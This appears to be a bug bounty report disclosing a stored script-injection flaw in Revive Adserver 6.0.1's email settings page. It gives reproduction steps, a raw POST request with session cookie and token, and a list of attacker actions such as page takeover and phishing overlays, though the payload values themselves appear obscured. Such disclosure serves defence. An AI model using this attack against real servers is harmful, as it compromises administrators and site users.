Improper sanitisation of input in the settings could cause DoS

How it was found

h1 team

I found an input sanitization/encoding issue in account-settings-email.php where attacker-controlled values saved in email_fromName and email_fromCompany are persisted and later rendered to pages without proper output encoding. Because arbitrary JavaScript can be persisted and executed in viewers’ browsers, an attacker can run scripts that disrupt or replace the page UI — effectively disabling the site for victims (DOM-level denial-of-service). This is a stored/script injection vulnerability with high impact when rendered to admin or privileged users.

Safe Proof-of-Concept 1 go to http://localhost/test2/revive-adserver-6.0.1/www/admin/account-settings-email.php 2 add payload email_fromName and email_fromCompany
3 the will disable all website you cant use it http request

POST /test2/revive-adserver-6.0.1/www/admin/account-settings-email.php HTTP/1.1
Host: localhost
Content-Length: 1122
Cache-Control: max-age=0
sec-ch-ua: "Not=A?Brand";v="24", "Chromium";v="140"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAFTySI5FcKHdgQSw
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/test2/revive-adserver-6.0.1/www/admin/account-settings-email.php
Accept-Encoding: gzip, deflate, br
Cookie: sessionID=44958de8497392e940916ecd332da541; ox_install_session_id=ln1aq7d4aopg1511andp5oocji
Connection: keep-alive

------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"

true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromAddress"

[email protected]
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromName"

[email protected]
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_fromCompany"

[email protected]
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"

true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_logOutgoing"

true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitok"

true
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="email_pluginType"


------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="token"

62f4ed819fb1ccc904033105a8d567ad
------WebKitFormBoundaryAFTySI5FcKHdgQSw
Content-Disposition: form-data; name="submitsettings"

Save Changes
------WebKitFormBoundaryAFTySI5FcKHdgQSw--

{F4931193}

{F4931194}

test url http://localhost/test2/revive-adserver-6.0.1/www/admin/account-settings-email.php

Impact

Arbitrary script execution in the application origin when persisted value is rendered to any page viewed by users.

Possible attacker actions include:

Replace page content or remove UI controls (rendering site unusable for the victim).

Block interaction with the app (disable buttons, hide forms) — effectively a targeted denial-of-service for users who view the infected page.

Phishing overlays, forced actions, or other client-side attacks against the user (exfiltration only possible if cookies/session not hardened).

If admin users view affected pages, the impact is high (site disruption; potential for privileged actions performed under admin context).

Severity: High — depends on which roles see the persisted values and cookie/session protections in place.